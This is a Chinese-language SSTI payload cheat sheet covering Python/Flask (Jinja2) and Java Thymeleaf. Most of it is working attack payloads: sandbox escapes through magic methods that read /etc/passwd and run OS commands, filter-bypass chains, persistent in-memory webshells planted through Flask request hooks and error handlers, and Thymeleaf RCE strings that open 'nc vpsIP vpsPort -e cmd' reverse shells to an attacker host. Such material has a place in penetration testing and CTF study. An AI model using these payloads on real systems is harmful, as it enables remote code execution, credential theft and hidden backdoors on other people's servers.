Python

Python魔术方法

__class__ 返回一个实例所属的类

__mro__ 查看类继承的所有父类,直到object

__subclasses__() 获取一个类的子类,返回的是一个列表

__bases__ 返回一个类直接所继承的类(元组形式)

__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化

__globals__  使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价

__dict__ 返回所有属性,包括属性,方法等

__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

基本流程

1.获取object类:

().__class__.__base__ | ().__class__.__bases__[0] | ().__class__.__mro__[-1]
[].__class__.__base__ | [].__class__.__bases__[0] | [].__class__.__mro__[-1]
{}.__class__.__base__ | {}.__class__.__bases__[0] | {}.__class__.__mro__[-1]
''.__class__.__mro__[-1]
"".__class__.__mro__[-1]
''.__class__.__base__ | ''.__class__.__bases__[0]   # 仅python3可用,python2中获取的是basestring类
"".__class__.__base__ | "".__class__.__bases__[0]   # 仅python3可用,python2中获取的是basestring类

2.获取object子类:

对object类直接使用魔术方法__subclasses__()即可,如果服务器无法处理大量的子类,则可以使用切片一次性获取少量子类:

object.__subclasses__()[10:20]

3.找到重载过的__init__

只有重载过的__init__类的类具有__globals__属性,常用的object子类:

<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class '_weakrefset._IterationGuard'>
<class '_weakrefset.WeakSet'>
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>

4.三种利用方式

以WarningMessage为例

__builtins__利用:

WarningMessage.__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
WarningMessage.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

linecache利用:

WarningMessage.__init__.__globals__['linecache'].__dict__['os'].system('whoami')
WarningMessage.__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
WarningMessage.__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls')

sys利用:

WarningMessage.__init__.__globals__['sys'].modules['os'].system('whoami')

Python2

python2中object存在类file,位置一般为40,可以直接读写文件:

object.__subclasses__()[40]('/etc/passwd').read()
object.__subclasses__()[40]('/test.txt', 'w').write('filecontent')

flask

request.arg 绕过关键字、下划线过滤,payload:

{{''[request.args.v1][request.args.v2][-1][request.args.v3]()[58][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

{{''[request.args.v1][request.args.v2][request.args.v3]()[58][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__base__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

没有过滤config的情况下绕过长度限制,payload:

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

分段保存payload:

{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("ls").read()}}

内存马适用于 无回显+不出网 的情况

低版本flask的payload:

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

部分flask版本下无法使用url_for.globals['current_app']来获取app,可以sys.modules,通过url_for.__globals__['sys'].modules['__main__'].__dict__['app']来获取app

高版本flask在禁止动态注册路由的情况下,可以使用flask的特殊装饰器处理特定的请求方法,从而实现内存马的效果:

before_request:

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami

after_request:

{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&cmd=whoami

errorhandler:

{{url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(500); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}&cmd=whoami


{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(500);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('cmd')).read()", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}&cmd=whoami

teardown_request,在每次请求后运行,即使处理发生了错误,但是无回显,只能用于反弹shell或者写文件:

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=echo 123 > ssti.txt

teardown_appcontext,在每次请求后运行,即使处理发生了错误,同样无回显,但是不能动态接收参数:

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 123 > ssti.txt').read())")}}

参考资料

https://www.freebuf.com/articles/web/359392.html

https://zhuanlan.zhihu.com/p/8674570702

https://xz.aliyun.com/news/15729

Python builtin 内置函数

alt

Java

Thymeleaf

大部分ssti都是无报错回显的,直接反弹shell

thymeleaf 3.0.11:

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::
__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3Axx

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("nc vpsIP vpsPort -e cmd").getInputStream()).next()}__::
__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22nc%20vpsIP%20vpsPort%20-e%20cmd%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3Axx

thymeleaf 3.0.12,绕过new以及T与(之间的字符问题,访问的path和return的视图名不同时: HelloController:

@Controller
public class HelloController {
    @GetMapping("/index")
    public String path(@RequestParam String language)
    {
        return "language/" + language + "/index";
    }
}

payload:

__${T (java.lang.Runtime).getRuntime().exec("nc vpsIP vpsPort -e cmd")}__::
__%24%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22nc%20vpsIP%20vpsPort%20-e%20cmd%22%29%7D__%3A%3Axx

path和视图名相同时需要进行绕过,并且执行的命令里不能带斜杠/,否则会被认为是路径的一部分: HelloController:

@Controller
public class HelloController {
    @GetMapping("/language/{language}")
    public String path(@PathVariable String language)
    {
        return "language/" + language;
    }
}

可以在路径里加斜杠或者分号来绕过该版本的一些过滤,payload:

/language//__%24%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22nc%20vpsIP%20vpsPort%20-e%20cmd%22%29%7D__%3A%3Axx
/language;/__%24%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22nc%20vpsIP%20vpsPort%20-e%20cmd%22%29%7D__%3A%3Axx

参考资料:

https://cloud.tencent.com/developer/article/2204466